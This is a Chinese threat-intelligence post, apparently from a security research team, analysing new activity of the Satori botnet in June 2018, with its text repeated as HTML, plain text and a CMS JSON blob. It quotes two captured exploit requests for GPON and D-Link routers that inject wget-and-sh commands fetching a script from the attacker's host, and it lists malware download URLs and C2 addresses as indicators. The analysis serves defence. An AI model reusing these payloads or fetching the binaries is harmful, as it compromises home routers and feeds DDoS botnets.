僵尸永远不死，Satori也拒绝凋零
<!--kg-card-begin: markdown--><p>两天前，2018-06-14，我们注意到 Satori 的作者开始扫描收集 uc-httpd 1.0.0 设备的IP地址列表。这或许是为了针对4月公开的脆弱性 XiongMai uc-httpd 1.0.0 (<a href="https://www.exploit-db.com/exploits/44864/">CVE-2018-10088</a>) 在做准备。这些扫描活动导致了近期在 80 和 8000 端口上的扫描流量大涨。</p>
<p>3小时前，就在我们撰写本篇文章的同时，Satori 作者又发布了一个更新版本。这个更新是个蠕虫，针对 D-Link DSL-2750B 设备，对应的漏洞利用在5月25日刚刚 <a href="https://www.exploit-db.com/exploits/44760/">公开</a> 。</p>
<h4 id="">僵尸永远不死</h4>
<p>Satori 是 Mirai 僵尸网络的一个变种，我们首次注意到该僵尸网络是 2017-11-22。一周之后，2017-12-05，Satori在12小时内感染了超过26万家用路由器设备，成为臭名昭著的僵尸网络。从那以后我们不再使用“一个mirai僵尸网络变种”称呼它，而是给予了它一个独立的名字 Satori。以上这些记录在我们的 <a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/">报告</a> 和 <a href="__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/">报告</a> 中。</p>
<p>在那之后，安全社区采取了联合行动。多家运营商在 Satori 的重点攻击端口 37215 上采取了对抗措施。从事后看，这些措施有效抑制了 Satori 的扩张速度。但仅仅安全社区的这些披露和联合行动似乎并不能阻止 Satori 作者的更新。</p>
<p>2018-01-08，我们检测到 Satori 的后继变种Satori.Coin.Robber 尝试在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。我们在另一份 <a href="__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/">报告</a> 中批露了 Satori 的这些活动。</p>
<p>2018-05-10，GPON 漏洞（CVE-2018-10561，CVE-2018-10562）公布以后不到 10 天，Satori 也加入抢夺 GPON 易感设备的行列。并且Satori在短短时间内就挤掉了其它竞争对手，成为 “GPON僵尸Party” 中投放能力最强的一个。这已经是我们关于Satori 的第四份 <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/">报告</a> 。</p>
<p>现在这篇是我们关于Satori 的第五份报告。僵尸永远不死，而且它们拒绝凋零。Satori的作者选择留在了场上。</p>
<h4 id="satori">Satori 过去几天里的活动更新</h4>
<p>Satori 近期活动的核心样本如下：</p>
<pre><code>hxxp://185.62.190.191/arm.bot.le
</code></pre>
<p>该样本是由其它感染设备投入的，利用的漏洞是 GPON（ CVE-2018-10561），投入时的攻击Payload 是：</p>
<pre><code>POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118XWebPageName=diag&amp;diag_action=ping&amp;wan_conlist=0&amp;dest_host=;wget+hxxp://185.62.190.191/r+-O+-&gt;/tmp/r;sh+/tmp/r&amp;ipv=0
</code></pre>
<p>在该样本中：</p>
<ul>
<li><strong>信息收集和上报</strong>：扫描互联网，寻找拥有 “uc-httpd 1.0.0” 设备指纹的IP地址，并将收集到的IP地址汇报至 r[.]rippr.cc:48101；</li>
<li><strong>控制主机</strong>：95.215.62.169:5600 是其上联主机。C2通信协议也与之前版本不同，但本文不做展开；</li>
<li><strong>DDoS攻击能力</strong>：集成四种 DDoS 攻击向量 udp_flood，syn_flood，tcp_ack_flood，gre_flood；</li>
</ul>
<p>在我们观察的过程中，该分支已经至少发起过两次DDoS攻击，攻击细节如下：</p>
<ul>
<li>2018-06-13 21:09:00 前后：TCP_ACK_FLOOD-&gt;(144.217.47.56:25565)</li>
<li>2018-06-14 23:00:00 前后：UDP_FLOOD -&gt; (185.71.67.43:53)</li>
</ul>
<p>这两次攻击分别与我们DDoSMon 上的 <a href="https://ddosmon.net/explore/144.217.47.56">观察1</a> 和 <a href="https://ddosmon.net/explore/185.71.67.43">观察2</a> 一致。</p>
<h4 id="808000">该样本导致了近期 80和8000 端口上的扫描流量</h4>
<p>我们近期在ScanMon上分别观察到 80 和 8000 端口上的扫描流量增长。两次流量增长的开始时间分别是 2018-06-09 和 2018-06-14。</p>
<p><img src="__GHOST_URL__/content/images/2018/06/scan-on-port-80.png" alt="" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2018/06/scan-on-port-8000.png" alt="" loading="lazy"></p>
<p>这两个端口上的流量增长，均是 Satori 样本 arm.bot.le 及其更新版本导致的：</p>
<ul>
<li><strong>端口80</strong>：扫描流量中的首包为 <code>GET / HTTP/1.0</code>，这与我们在 arm.bot.le 样本中观察到的 payload 一致；</li>
<li><strong>端口8000</strong>：扫描流量中的首包为 <code>HEAD / HTTP/1.0</code>，这与我们在 arm.bot.le 的更新版本中观察到的payload一致。</li>
</ul>
<h4 id="">同源性分析</h4>
<p>我们判定当前这些恶意样本与之前的 Satori 是同源的：</p>
<ul>
<li><strong>地址同源</strong>：样本下载URL（hxxp://185.62.190.191/arm.bot.le） 中的IP地址 185.62.190.191 ，是新样本的Downloader，这个IP地址也是 Satori 在之前 <a href="__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/">GPON 漏洞Party</a> 中使用的Downloader 地址。</li>
<li><strong>代码同源</strong>：一段借鉴于 MIRAI 的解密代码在之前 Satori 的 okiru 系列样本中使用过。这段代码在新样本也在延续使用。</li>
</ul>
<p><img src="__GHOST_URL__/content/images/2018/06/code_snipper_unload.png" alt="" loading="lazy"><br>
<img src="__GHOST_URL__/content/images/2018/06/code_snipper_unload_2.png" alt="" loading="lazy"></p>
<p>上面两图展示的加密代码片段分别来自：</p>
<ul>
<li><strong>本轮的 Satori 样本</strong>：F8D1D92E9B74445F2A0D7F1FEB78D639，</li>
<li><strong>之前的 Satori Okiru 分支</strong> :  0D39BF8EE7AC89DEC5DD8E541A828E15，</li>
</ul>
<h4 id="satoriuchttpd100ip">Satori 在采集 uc-httpd 1.0.0 设备指纹的 IP 地址</h4>
<p>Satori 正在通过扫描 80/8000 端口的方式采集拥有“uc-httpd 1.0.0”设备指纹的 IP 地址，相关伪代码见后。</p>
<p>一旦发现匹配的目标，便会将其 IP 汇报至 180.101.204.161:48101。值得说明的是上述地址是动态配置在 r.rippr.cc 域名的 DNS TXT 记录中的。通过这种方式作者可以在服务器端随意修改 C2 的IP地址，避免了样本硬编码。</p>
<p><img src="__GHOST_URL__/content/images/2018/06/code_snipper_scan.png" alt="" loading="lazy"></p>
<h4 id="satori">Satori 当前的更新</h4>
<p>3小时前，2018-06-15 07:00:00，就在编辑们紧张撰写本文的同时，Satori 又做了更新。值得警惕的是，这个更新是个蠕虫：</p>
<ul>
<li><strong>针对漏洞</strong>：D-Link DSL-2750B 的命令执行漏洞</li>
<li><strong>漏洞利用</strong>：在5月25日刚刚 <a href="https://www.exploit-db.com/exploits/44760/">公开</a></li>
<li><strong>扫描端口</strong>：80 和 8080</li>
<li><strong>蠕虫式传播</strong>：该漏洞利用同时出现在攻击投入的Payload中，以及投入成功后得到的样本中。如此，样本能够传播自身，形成蠕虫式传播</li>
<li><strong>C2</strong>：95.215.62[.]169:5600。该IP地址动态配置在 i.rippr.cc 域名的 DNS TXT 中。</li>
</ul>
<p>样本来自：</p>
<pre><code>e0278453d814d64365ce22a0c543ecb6    hxxp://185.62.190.191/r
b288d2f404963fbc7ab03fcb51885cc3    hxxp://185.62.190.191/mipsel.bot.le
78191f8f942b8c9b3b6cceb743cefb03    hxxp://185.62.190.191/arm7.bot.le
753cbfec2475be870003a47b00e8e372    hxxp://185.62.190.191/arm.bot.le
0a44d64fdf9aebfedf433fb679b8b289    hxxp://185.62.190.191/mips.bot.be
</code></pre>
<p>样本的投入 Payload ：</p>
<pre><code>GET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -&gt; /tmp/r;sh /tmp/r'$ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
</code></pre>
<p>该攻击 Payload 同时出现在样本中：<br>
<img src="__GHOST_URL__/content/images/2018/06/worm-payload-in-sample.png" alt="" loading="lazy"></p>
<h4 id="ioc">IoC</h4>
<pre><code>185.62.190.191          Satori Downloader
180.101.204.161:48101   Satori Report
r.rippr.cc              Satori Reporter listed in this host's DNS TXT record
95.215.62.169:5600      Satori C2
i.rippr.cc              Satori C2 listed in this host's DNS TXT record
</code></pre>
<p>Satori Malware Sample md5</p>
<pre><code>f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm
f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7
f6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le
99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl
99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le
e337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7
e337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le
f8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm
f8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le
656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le
31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le
426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le
44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le
476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le
bdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le
e193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r
</code></pre>
<!--kg-card-end: markdown-->
两天前，2018-06-14，我们注意到 Satori 的作者开始扫描收集 uc-httpd 1.0.0 设备的IP地址列表。这或许是为了针对4月公开的脆弱性 XiongMai uc-httpd 1.0.0 (CVE-2018-10088) 在做准备。这些扫描活动导致了近期在 80 和 8000 端口上的扫描流量大涨。


3小时前，就在我们撰写本篇文章的同时，Satori 作者又发布了一个更新版本。这个更新是个蠕虫，针对 D-Link DSL-2750B 设备，对应的漏洞利用在5月25日刚刚 公开 。


僵尸永远不死


Satori 是 Mirai 僵尸网络的一个变种，我们首次注意到该僵尸网络是 2017-11-22。一周之后，2017-12-05，Satori在12小时内感染了超过26万家用路由器设备，成为臭名昭著的僵尸网络。从那以后我们不再使用“一个mirai僵尸网络变种”称呼它，而是给予了它一个独立的名字 Satori。以上这些记录在我们的 报告 和 报告 中。


在那之后，安全社区采取了联合行动。多家运营商在 Satori 的重点攻击端口 37215 上采取了对抗措施。从事后看，这些措施有效抑制了 Satori 的扩张速度。但仅仅安全社区的这些披露和联合行动似乎并不能阻止 Satori 作者的更新。


2018-01-08，我们检测到 Satori 的后继变种Satori.Coin.Robber 尝试在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。我们在另一份 报告 中批露了 Satori 的这些活动。


2018-05-10，GPON 漏洞（CVE-2018-10561，CVE-2018-10562）公布以后不到 10 天，Satori 也加入抢夺 GPON 易感设备的行列。并且Satori在短短时间内就挤掉了其它竞争对手，成为 “GPON僵尸Party” 中投放能力最强的一个。这已经是我们关于Satori 的第四份 报告 。


现在这篇是我们关于Satori 的第五份报告。僵尸永远不死，而且它们拒绝凋零。Satori的作者选择留在了场上。


Satori 过去几天里的活动更新


Satori 近期活动的核心样本如下：


hxxp://185.62.190.191/arm.bot.le



该样本是由其它感染设备投入的，利用的漏洞是 GPON（ CVE-2018-10561），投入时的攻击Payload 是：


POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:8080
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+hxxp://185.62.190.191/r+-O+->/tmp/r;sh+/tmp/r&ipv=0



在该样本中：


 * 信息收集和上报：扫描互联网，寻找拥有 “uc-httpd 1.0.0” 设备指纹的IP地址，并将收集到的IP地址汇报至 r[.]rippr.cc:48101；
 * 控制主机：95.215.62.169:5600 是其上联主机。C2通信协议也与之前版本不同，但本文不做展开；
 * DDoS攻击能力：集成四种 DDoS 攻击向量 udp_flood，syn_flood，tcp_ack_flood，gre_flood；


在我们观察的过程中，该分支已经至少发起过两次DDoS攻击，攻击细节如下：


 * 2018-06-13 21:09:00 前后：TCP_ACK_FLOOD->(144.217.47.56:25565)
 * 2018-06-14 23:00:00 前后：UDP_FLOOD -> (185.71.67.43:53)


这两次攻击分别与我们DDoSMon 上的 观察1 和 观察2 一致。


该样本导致了近期 80和8000 端口上的扫描流量


我们近期在ScanMon上分别观察到 80 和 8000 端口上的扫描流量增长。两次流量增长的开始时间分别是 2018-06-09 和 2018-06-14。







这两个端口上的流量增长，均是 Satori 样本 arm.bot.le 及其更新版本导致的：


 * 端口80：扫描流量中的首包为 GET / HTTP/1.0，这与我们在 arm.bot.le 样本中观察到的 payload 一致；
 * 端口8000：扫描流量中的首包为 HEAD / HTTP/1.0，这与我们在 arm.bot.le 的更新版本中观察到的payload一致。


同源性分析


我们判定当前这些恶意样本与之前的 Satori 是同源的：


 * 地址同源：样本下载URL（hxxp://185.62.190.191/arm.bot.le） 中的IP地址 185.62.190.191 ，是新样本的Downloader，这个IP地址也是 Satori 在之前 GPON 漏洞Party 中使用的Downloader 地址。
 * 代码同源：一段借鉴于 MIRAI 的解密代码在之前 Satori 的 okiru 系列样本中使用过。这段代码在新样本也在延续使用。







上面两图展示的加密代码片段分别来自：


 * 本轮的 Satori 样本：F8D1D92E9B74445F2A0D7F1FEB78D639，
 * 之前的 Satori Okiru 分支 : 0D39BF8EE7AC89DEC5DD8E541A828E15，


Satori 在采集 uc-httpd 1.0.0 设备指纹的 IP 地址


Satori 正在通过扫描 80/8000 端口的方式采集拥有“uc-httpd 1.0.0”设备指纹的 IP 地址，相关伪代码见后。


一旦发现匹配的目标，便会将其 IP 汇报至 180.101.204.161:48101。值得说明的是上述地址是动态配置在 r.rippr.cc 域名的 DNS TXT 记录中的。通过这种方式作者可以在服务器端随意修改 C2 的IP地址，避免了样本硬编码。





Satori 当前的更新


3小时前，2018-06-15 07:00:00，就在编辑们紧张撰写本文的同时，Satori 又做了更新。值得警惕的是，这个更新是个蠕虫：


 * 针对漏洞：D-Link DSL-2750B 的命令执行漏洞
 * 漏洞利用：在5月25日刚刚 公开
 * 扫描端口：80 和 8080
 * 蠕虫式传播：该漏洞利用同时出现在攻击投入的Payload中，以及投入成功后得到的样本中。如此，样本能够传播自身，形成蠕虫式传播
 * C2：95.215.62[.]169:5600。该IP地址动态配置在 i.rippr.cc 域名的 DNS TXT 中。


样本来自：


e0278453d814d64365ce22a0c543ecb6    hxxp://185.62.190.191/r
b288d2f404963fbc7ab03fcb51885cc3    hxxp://185.62.190.191/mipsel.bot.le
78191f8f942b8c9b3b6cceb743cefb03    hxxp://185.62.190.191/arm7.bot.le
753cbfec2475be870003a47b00e8e372    hxxp://185.62.190.191/arm.bot.le
0a44d64fdf9aebfedf433fb679b8b289    hxxp://185.62.190.191/mips.bot.be



样本的投入 Payload ：


GET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World



该攻击 Payload 同时出现在样本中：




IoC


185.62.190.191          Satori Downloader
180.101.204.161:48101   Satori Report
r.rippr.cc              Satori Reporter listed in this host's DNS TXT record
95.215.62.169:5600      Satori C2
i.rippr.cc              Satori C2 listed in this host's DNS TXT record



Satori Malware Sample md5


f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm
f6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7
f6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le
99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl
99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le
e337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7
e337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le
f8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm
f8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le
656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le
31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le
426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le
44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le
476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le
bdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le
e193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r


{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"两天前，2018-06-14，我们注意到 Satori 的作者开始扫描收集 uc-httpd 1.0.0 设备的IP地址列表。这或许是为了针对4月公开的脆弱性 XiongMai uc-httpd 1.0.0 ([CVE-2018-10088](https://www.exploit-db.com/exploits/44864/)) 在做准备。这些扫描活动导致了近期在 80 和 8000 端口上的扫描流量大涨。\n\n3小时前，就在我们撰写本篇文章的同时，Satori 作者又发布了一个更新版本。这个更新是个蠕虫，针对 D-Link DSL-2750B 设备，对应的漏洞利用在5月25日刚刚 [公开](https://www.exploit-db.com/exploits/44760/) 。\n\n#### 僵尸永远不死\n\nSatori 是 Mirai 僵尸网络的一个变种，我们首次注意到该僵尸网络是 2017-11-22。一周之后，2017-12-05，Satori在12小时内感染了超过26万家用路由器设备，成为臭名昭著的僵尸网络。从那以后我们不再使用“一个mirai僵尸网络变种”称呼它，而是给予了它一个独立的名字 Satori。以上这些记录在我们的 [报告](__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-2/) 和 [报告](__GHOST_URL__/wa-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869/) 中。\n\n在那之后，安全社区采取了联合行动。多家运营商在 Satori 的重点攻击端口 37215 上采取了对抗措施。从事后看，这些措施有效抑制了 Satori 的扩张速度。但仅仅安全社区的这些披露和联合行动似乎并不能阻止 Satori 作者的更新。\n\n2018-01-08，我们检测到 Satori 的后继变种Satori.Coin.Robber 尝试在端口37215和52869上重新建立整个僵尸网络。值得注意的是，新变种开始渗透互联网上现存Claymore Miner挖矿设备，通过攻击其3333 管理端口，替换钱包地址，并最终攫取受害挖矿设备的算力和对应的 ETH 代币。这是我们第一次见到僵尸网络替换其他挖矿设备的钱包。我们在另一份 [报告](__GHOST_URL__/art-of-steal-satori-variant-is-robbing-eth-bitcoin-by-replacing-wallet-address/) 中批露了 Satori 的这些活动。\n\n2018-05-10，GPON 漏洞（CVE-2018-10561，CVE-2018-10562）公布以后不到 10 天，Satori 也加入抢夺 GPON 易感设备的行列。并且Satori在短短时间内就挤掉了其它竞争对手，成为 “GPON僵尸Party” 中投放能力最强的一个。这已经是我们关于Satori 的第四份 [报告](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/) 。\n\n现在这篇是我们关于Satori 的第五份报告。僵尸永远不死，而且它们拒绝凋零。Satori的作者选择留在了场上。\n\n#### Satori 过去几天里的活动更新\n\nSatori 近期活动的核心样本如下：\n```\nhxxp://185.62.190.191/arm.bot.le\n```\n\n该样本是由其它感染设备投入的，利用的漏洞是 GPON（ CVE-2018-10561），投入时的攻击Payload 是：\n```\nPOST /GponForm/diag_Form?images/ HTTP/1.1\nHost: 127.0.0.1:8080\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Hello, World\nContent-Length: 118XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=;wget+hxxp://185.62.190.191/r+-O+->/tmp/r;sh+/tmp/r&ipv=0\n```\n\n在该样本中：\n\n - **信息收集和上报**：扫描互联网，寻找拥有 “uc\\-httpd 1.0.0” 设备指纹的IP地址，并将收集到的IP地址汇报至 r[.]rippr.cc:48101；\n - **控制主机**：95.215.62.169:5600 是其上联主机。C2通信协议也与之前版本不同，但本文不做展开；\n - **DDoS攻击能力**：集成四种 DDoS 攻击向量 udp\\_flood，syn\\_flood，tcp\\_ack\\_flood，gre\\_flood；\n\n在我们观察的过程中，该分支已经至少发起过两次DDoS攻击，攻击细节如下：\n\n - 2018-06-13 21:09:00 前后：TCP\\_ACK\\_FLOOD->(144.217.47.56:25565)\n - 2018-06-14 23:00:00 前后：UDP\\_FLOOD -> (185.71.67.43:53)\n\n这两次攻击分别与我们DDoSMon 上的 [观察1](https://ddosmon.net/explore/144.217.47.56) 和 [观察2](https://ddosmon.net/explore/185.71.67.43) 一致。\n\n#### 该样本导致了近期 80和8000 端口上的扫描流量\n\n我们近期在ScanMon上分别观察到 80 和 8000 端口上的扫描流量增长。两次流量增长的开始时间分别是 2018-06-09 和 2018-06-14。\n\n![](__GHOST_URL__/content/images/2018/06/scan-on-port-80.png)\n![](__GHOST_URL__/content/images/2018/06/scan-on-port-8000.png)\n\n这两个端口上的流量增长，均是 Satori 样本 arm.bot.le 及其更新版本导致的：\n\n - **端口80**：扫描流量中的首包为 `GET / HTTP/1.0`，这与我们在 arm.bot.le 样本中观察到的 payload 一致；\n - **端口8000**：扫描流量中的首包为 `HEAD / HTTP/1.0`，这与我们在 arm.bot.le 的更新版本中观察到的payload一致。\n\n#### 同源性分析\n\n我们判定当前这些恶意样本与之前的 Satori 是同源的：\n\n - **地址同源**：样本下载URL（hxxp://185.62.190.191/arm.bot.le） 中的IP地址 185.62.190.191 ，是新样本的Downloader，这个IP地址也是 Satori 在之前 [GPON 漏洞Party](__GHOST_URL__/gpon-exploit-in-the-wild-ii-satori-botnet/) 中使用的Downloader 地址。\n - **代码同源**：一段借鉴于 MIRAI 的解密代码在之前 Satori 的 okiru 系列样本中使用过。这段代码在新样本也在延续使用。\n\n![](__GHOST_URL__/content/images/2018/06/code_snipper_unload.png)\n![](__GHOST_URL__/content/images/2018/06/code_snipper_unload_2.png)\n\n上面两图展示的加密代码片段分别来自：\n\n - **本轮的 Satori 样本**：F8D1D92E9B74445F2A0D7F1FEB78D639，\n - **之前的 Satori Okiru 分支** :  0D39BF8EE7AC89DEC5DD8E541A828E15，\n\n\n#### Satori 在采集 uc-httpd 1.0.0 设备指纹的 IP 地址\n\nSatori 正在通过扫描 80/8000 端口的方式采集拥有“uc-httpd 1.0.0”设备指纹的 IP 地址，相关伪代码见后。\n\n一旦发现匹配的目标，便会将其 IP 汇报至 180.101.204.161:48101。值得说明的是上述地址是动态配置在 r.rippr.cc 域名的 DNS TXT 记录中的。通过这种方式作者可以在服务器端随意修改 C2 的IP地址，避免了样本硬编码。\n\n![](__GHOST_URL__/content/images/2018/06/code_snipper_scan.png)\n\n#### Satori 当前的更新\n\n3小时前，2018-06-15 07:00:00，就在编辑们紧张撰写本文的同时，Satori 又做了更新。值得警惕的是，这个更新是个蠕虫：\n\n - **针对漏洞**：D-Link DSL-2750B 的命令执行漏洞\n - **漏洞利用**：在5月25日刚刚 [公开](https://www.exploit-db.com/exploits/44760/) \n - **扫描端口**：80 和 8080\n - **蠕虫式传播**：该漏洞利用同时出现在攻击投入的Payload中，以及投入成功后得到的样本中。如此，样本能够传播自身，形成蠕虫式传播\n - **C2**：95.215.62[.]169:5600。该IP地址动态配置在 i.rippr.cc 域名的 DNS TXT 中。\n\n样本来自：\n\n```\ne0278453d814d64365ce22a0c543ecb6    hxxp://185.62.190.191/r\nb288d2f404963fbc7ab03fcb51885cc3    hxxp://185.62.190.191/mipsel.bot.le\n78191f8f942b8c9b3b6cceb743cefb03    hxxp://185.62.190.191/arm7.bot.le\n753cbfec2475be870003a47b00e8e372    hxxp://185.62.190.191/arm.bot.le\n0a44d64fdf9aebfedf433fb679b8b289    hxxp://185.62.190.191/mips.bot.be\n```\n\n样本的投入 Payload ：\n```\nGET /login.cgi?cli=aa aa';wget hxxp://185.62.190.191/r -O -> /tmp/r;sh /tmp/r'$ HTTP/1.1\nHost: 127.0.0.1\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Hello, World\n```\n\n该攻击 Payload 同时出现在样本中：\n![](__GHOST_URL__/content/images/2018/06/worm-payload-in-sample.png)\n\n####IoC\n\n```\n185.62.190.191          Satori Downloader\n180.101.204.161:48101   Satori Report\nr.rippr.cc              Satori Reporter listed in this host's DNS TXT record\n95.215.62.169:5600      Satori C2\ni.rippr.cc              Satori C2 listed in this host's DNS TXT record\n```\n\nSatori Malware Sample md5\n```\nf6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm\nf6568772b36064f3bb58ac3aec09d30e http://123.207.251.95:80/bins/arm7\nf6568772b36064f3bb58ac3aec09d30e http://185.62.190.191/arm.bot.le\n99f13d801c40f23b19a07c6c77402095 http://123.207.251.95:80/bins/mpsl\n99f13d801c40f23b19a07c6c77402095 http://185.62.190.191/mipsel.bot.le\ne337d9c99bfe2feef8949f6563c57062 http://123.207.251.95:80/bins/arm7\ne337d9c99bfe2feef8949f6563c57062 http://185.62.190.191/arm7.bot.le\nf8d1d92e9b74445f2a0d7f1feb78d639 http://123.207.251.95:80/bins/arm\nf8d1d92e9b74445f2a0d7f1feb78d639 http://185.62.190.191/arm.bot.le\n656f4a61cf29f3af54affde4fccb5fd0 http://185.62.190.191/x86_64.bot.le\n31a40e95b605a93f702e4aa0092380b9 http://185.62.190.191/i686.bot.le\n426f8281d6599c9489057af1678ce468 http://185.62.190.191/arm7.bot.le\n44133462bd9653da097220157b1c0c61 http://185.62.190.191/arm.bot.le\n476cd802889049e3d492b8fb7c5d09ed http://185.62.190.191/mipsel.bot.le\nbdf1a0ec31f130e959adafffb6014cce http://185.62.190.191/x86_64.bot.le\ne193a58b317a7b44622efe57508eecc4 http://185.62.190.191/r\n```"}]],"sections":[[10,0]],"ghostVersion":"3.0"}